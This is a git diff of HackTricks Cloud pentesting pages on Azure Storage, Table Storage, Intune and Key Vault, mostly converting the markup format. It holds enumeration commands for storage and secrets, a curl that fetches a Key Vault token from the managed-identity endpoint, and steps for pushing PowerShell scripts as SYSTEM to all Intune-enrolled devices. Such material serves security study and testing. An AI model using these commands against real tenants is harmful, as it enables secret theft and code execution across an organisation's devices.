 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
 
@@ -92,61 +79,59 @@ It's possible to use Entra ID principals with **RBAC roles** to access storage a
 
 The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
 
-<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
 
 ### **Shared Keys & Lite Shared Keys**
 
 It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
 
-{% hint style="info" %}
-Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
-{% endhint %}
+> [!NOTE]
+> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
 
-{% hint style="info" %}
-This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
-{% endhint %}
+> [!NOTE]
+> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
 
-* It's possible to generate a **shared key for blob, queue and file services** signing the following information:
+- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
 
 ```bash
-StringToSign = VERB + "\n" +  
-               Content-Encoding + "\n" +  
-               Content-Language + "\n" +  
-               Content-Length + "\n" +  
-               Content-MD5 + "\n" +  
-               Content-Type + "\n" +  
-               Date + "\n" +  
-               If-Modified-Since + "\n" +  
-               If-Match + "\n" +  
-               If-None-Match + "\n" +  
-               If-Unmodified-Since + "\n" +  
-               Range + "\n" +  
-               CanonicalizedHeaders +   
+StringToSign = VERB + "\n" +
+               Content-Encoding + "\n" +
+               Content-Language + "\n" +
+               Content-Length + "\n" +
+               Content-MD5 + "\n" +
+               Content-Type + "\n" +
+               Date + "\n" +
+               If-Modified-Since + "\n" +
+               If-Match + "\n" +
+               If-None-Match + "\n" +
+               If-Unmodified-Since + "\n" +
+               Range + "\n" +
+               CanonicalizedHeaders +
                CanonicalizedResource;
 ```
 
-* It's possible to generate a **shared key for table services** signing the following information:
+- It's possible to generate a **shared key for table services** signing the following information:
 
 ```bash
 StringToSign = VERB + "\n" +
                Content-MD5 + "\n" +
-               Content-Type + "\n" +  
-               Date + "\n" +  
+               Content-Type + "\n" +
+               Date + "\n" +
                CanonicalizedResource;
 ```
 
-* It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
+- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
 
 ```bash
-StringToSign = VERB + "\n" +  
-               Content-MD5 + "\n" +  
-               Content-Type + "\n" +  
-               Date + "\n" +  
-               CanonicalizedHeaders +   
+StringToSign = VERB + "\n" +
+               Content-MD5 + "\n" +
+               Content-Type + "\n" +
+               Date + "\n" +
+               CanonicalizedHeaders +
                CanonicalizedResource;
 ```
 
-* It's possible to generate a **lite shared key for table services** signing the following information:
+- It's possible to generate a **lite shared key for table services** signing the following information:
 
 ```bash
 StringToSign = Date + "\n"
@@ -160,10 +145,10 @@ Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
 #e.g.
 Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
 
-PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1 
- x-ms-version: 2014-02-14 
- x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT 
- Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08= 
+PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
+ x-ms-version: 2014-02-14
+ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
+ Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
  Content-Length: 0
 ```
 
@@ -173,30 +158,30 @@ Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specif
 
 #### SAS Types
 
-* **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
-  * Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
-* **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
-* **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
+- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
+  - Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
+- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
+- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
 
 A SAS URL signed by an **access key** looks like this:
 
-* `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
+- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
 
 A SAS URL signed as a **user delegation** looks like this:
 
-* `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
+- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
 
 Note some **http params**:
 
-* The **`se`** param indicates the **expiration date** of the SAS
-* The **`sp`** param indicates the **permissions** of the SAS
-* The **`sig`** is the **signature** validating the SAS
+- The **`se`** param indicates the **expiration date** of the SAS
+- The **`sp`** param indicates the **permissions** of the SAS
+- The **`sig`** is the **signature** validating the SAS
 
 #### SAS permissions
 
 When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
 
-* (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter\_by\_tags, (i)set\_immutability\_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete\_previous\_version, (y)permanent\_delete
+- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
 
 ## SFTP Support for Azure Blob Storage
 
@@ -206,8 +191,8 @@ Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling
 
 - Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
 - Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
-    - Azure-generated passwords
-    - Public-private SSH key pairs
+  - Azure-generated passwords
+  - Public-private SSH key pairs
 - Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
 - Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
 
@@ -216,27 +201,27 @@ Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling
 - Hierarchical Namespace: HNS must be enabled when creating the storage account.
 - Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
 - SFTP Configuration:
-    - Enable SFTP on the storage account.
-    - Create local user identities with appropriate permissions.
-    - Configure home directories for users to define their starting location within the container.
+  - Enable SFTP on the storage account.
+  - Create local user identities with appropriate permissions.
+  - Configure home directories for users to define their starting location within the container.
 
 ### Permissions
 
-| Permission       | Symbol | Description                                |
-|-------------------|--------|--------------------------------------------|
-| **Read**         | `r`    | Read file content.                         |
-| **Write**        | `w`    | Upload files and create directories.       |
-| **List**         | `l`    | List contents of directories.              |
-| **Delete**       | `d`    | Delete files or directories.               |
-| **Create**       | `c`    | Create files or directories.               |
-| **Modify Ownership** | `o` | Change the owning user or group.           |
-| **Modify Permissions** | `p` | Change ACLs on files or directories.      |
+| Permission             | Symbol | Description                          |
+| ---------------------- | ------ | ------------------------------------ |
+| **Read**               | `r`    | Read file content.                   |
+| **Write**              | `w`    | Upload files and create directories. |
+| **List**               | `l`    | List contents of directories.        |
+| **Delete**             | `d`    | Delete files or directories.         |
+| **Create**             | `c`    | Create files or directories.         |
+| **Modify Ownership**   | `o`    | Change the owning user or group.     |
+| **Modify Permissions** | `p`    | Change ACLs on files or directories. |
 
 ## Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # Get storage accounts
 az storage account list #Get the account name from here
@@ -320,7 +305,7 @@ az storage <container|queue|share|table|blob> generate-sas \
   --account-name <acc-name> \
   --as-user --auth-mode login \
   -n <container-name>
-  
+
 ## Generate account SAS
 az storage account generate-sas \
   --expiry 2024-12-31T23:59:00Z \
@@ -353,11 +338,11 @@ az storage account local-user list \
   --account-name <storage-account-name> \
   --resource-group <resource-group-name>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get storage accounts
 Get-AzStorageAccount | fl
@@ -415,51 +400,38 @@ New-AzStorageBlobSASToken `
   -Permission racwdl `
   -ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### File Shares
 
-{% content-ref url="az-file-shares.md" %}
-[az-file-shares.md](az-file-shares.md)
-{% endcontent-ref %}
+{{#ref}}
+az-file-shares.md
+{{#endref}}
 
 ## Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-storage-privesc.md" %}
-[az-storage-privesc.md](../az-privilege-escalation/az-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-storage-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../az-post-exploitation/az-blob-storage-post-exploitation.md" %}
-[az-blob-storage-post-exploitation.md](../az-post-exploitation/az-blob-storage-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
-{% content-ref url="../az-persistence/az-storage-persistence.md" %}
-[az-storage-persistence.md](../az-persistence/az-storage-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-persistence/az-storage-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
-* [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
-* [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
+- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
+- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
+- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md
new file mode 100644
index 000000000..33e727ab4
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md
@@ -0,0 +1,109 @@
+# Az - Table Storage
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
+
+There **isn't built-in backup mechanism** for table storage.
+
+### Keys
+
+#### **PartitionKey**
+
+- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
+- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
+
+#### **RowKey**
+
+- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
+- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
+
+#### **Other Properties (Custom Properties)**
+
+- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
+- Properties are stored as **key-value pairs**.
+- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
+
+## Enumeration
+
+{{#tabs}}
+{{#tab name="az cli"}}
+
+```bash
+# Get storage accounts
+az storage account list
+
+# List tables
+az storage table list --account-name <name>
+
+# Read table
+az storage entity query \
+  --account-name <name> \
+  --table-name <t-name> \
+  --top 10
+
+# Write table
+az storage entity insert \
+  --account-name <STORAGE_ACCOUNT_NAME> \
+  --table-name <TABLE_NAME> \
+  --entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
+
+# Write example
+az storage entity insert \
+  --account-name mystorageaccount \
+  --table-name mytable \
+  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
+
+# Update row
+az storage entity merge \
+  --account-name mystorageaccount \
+  --table-name mytable \
+  --entity PartitionKey=pk1 RowKey=rk1 Age=31
+```
+
+{{#endtab}}
+{{#tab name="PowerShell"}}
+
+```powershell
+# Get storage accounts
+Get-AzStorageAccount
+
+# List tables
+Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
+```
+
+{{#endtab}}
+{{#endtabs}}
+
+> [!NOTE]
+> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
+
+> [!TIP]
+> Use the param `--account-key` to indicate the account key to use\
+> Use the param `--sas-token` with the SAS token to access via a SAS token
+
+## Privilege Escalation
+
+Same as storage privesc:
+
+{{#ref}}
+../az-privilege-escalation/az-storage-privesc.md
+{{#endref}}
+
+## Post Exploitation
+
+{{#ref}}
+../az-post-exploitation/az-table-storage-post-exploitation.md
+{{#endref}}
+
+## Persistence
+
+Same as storage persistence:
+
+{{#ref}}
+../az-persistence/az-storage-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md
new file mode 100644
index 000000000..1f9181bb6
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/intune.md
@@ -0,0 +1,31 @@
+# Az - Intune
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
+
+## Cloud -> On-Prem
+
+A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
+The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
+
+```powershell
+Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
+```
+
+1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
+2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
+3. Go to **Scripts** and click on **Add** for Windows 10.
+4. Add a **Powershell script**
+   - ![](<../../../images/image (264).png>)
+5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
+
+The execution of the script can take up to **one hour**.
+
+## References
+
+- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/keyvault.md b/src/pentesting-cloud/azure-security/az-services/keyvault.md
similarity index 65%
rename from pentesting-cloud/azure-security/az-services/keyvault.md
rename to src/pentesting-cloud/azure-security/az-services/keyvault.md
index f49f1fb4f..eca97c105 100644
--- a/pentesting-cloud/azure-security/az-services/keyvault.md
+++ b/src/pentesting-cloud/azure-security/az-services/keyvault.md
@@ -1,19 +1,6 @@
 # Az - Key Vault
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -27,31 +14,31 @@ The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{obje
 
 Where:
 
-* `vault-name` is the globally **unique** name of the key vault
-* `object-type` can be "keys", "secrets" or "certificates"
-* `object-name` is **unique** name of the object within the key vault
-* `object-version` is system generated and optionally used to address a **unique version of an object**.
+- `vault-name` is the globally **unique** name of the key vault
+- `object-type` can be "keys", "secrets" or "certificates"
+- `object-name` is **unique** name of the object within the key vault
+- `object-version` is system generated and optionally used to address a **unique version of an object**.
 
 In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
 
-* **Vault access policy**
-* **Azure RBAC** (most common and recommended)
-  * You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
+- **Vault access policy**
+- **Azure RBAC** (most common and recommended)
+  - You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
 
 ### Access Control <a href="#access-control" id="access-control"></a>
 
 Access to a Key Vault resource is controlled by two planes:
 
-* The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
-  * It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
-* The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
-  * It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
+- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
+  - It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
+- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
+  - It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
 
 A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
 
 ### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
 
-<figure><img src="../../../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (27).png" alt=""><figcaption></figcaption></figure>
 
 ### Network Access
 
@@ -75,9 +62,9 @@ However, it's possible to create a vault with **purge protection disabled** whic
 
 ## Enumeration
 
-{% tabs %}
-{% tab title="az" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az" }}
+
 ```bash
 # List all Key Vaults in the subscription
 az keyvault list
@@ -105,11 +92,11 @@ az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
 # Get old versions secret value
 az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az Powershell" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Az Powershell" }}
+
 ```powershell
 # Get keyvault token
 curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
@@ -133,10 +120,11 @@ Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
 # Get secret values
 Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="az script" %}
+{{#endtab }}
+
+{{#tab name="az script" }}
+
 ```bash
 #!/bin/bash
 
@@ -177,32 +165,20 @@ do
   done
 done
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-key-vault-privesc.md" %}
-[az-key-vault-privesc.md](../az-privilege-escalation/az-key-vault-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-key-vault-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../az-post-exploitation/az-key-vault-post-exploitation.md" %}
-[az-key-vault-post-exploitation.md](../az-post-exploitation/az-key-vault-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-key-vault-post-exploitation.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md
similarity index 80%
rename from pentesting-cloud/azure-security/az-services/vms/README.md
rename to src/pentesting-cloud/azure-security/az-services/vms/README.md
index ad081b59a..58e6c2afc 100644
--- a/pentesting-cloud/azure-security/az-services/vms/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md
@@ -1,27 +1,14 @@
 # Az - Virtual Machines & Network
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Azure Networking Basic Info
 
 Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
 
-{% content-ref url="az-azure-network.md" %}
-[az-azure-network.md](az-azure-network.md)
-{% endcontent-ref %}
+{{#ref}}
+az-azure-network.md
+{{#endref}}
 
 ## VMs Basic information
 
@@ -29,46 +16,46 @@ Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that
 
 ### Security Configurations
 
-* **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
-* **Security Type**:
-  * **Standard Security**: This is the default security type that does not require any specific configuration.
-  * **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
-  * **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
-* **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
-* **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
-  * It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
-* **NIC network security group**:
-  * **None**: Basically opens every port
-  * **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
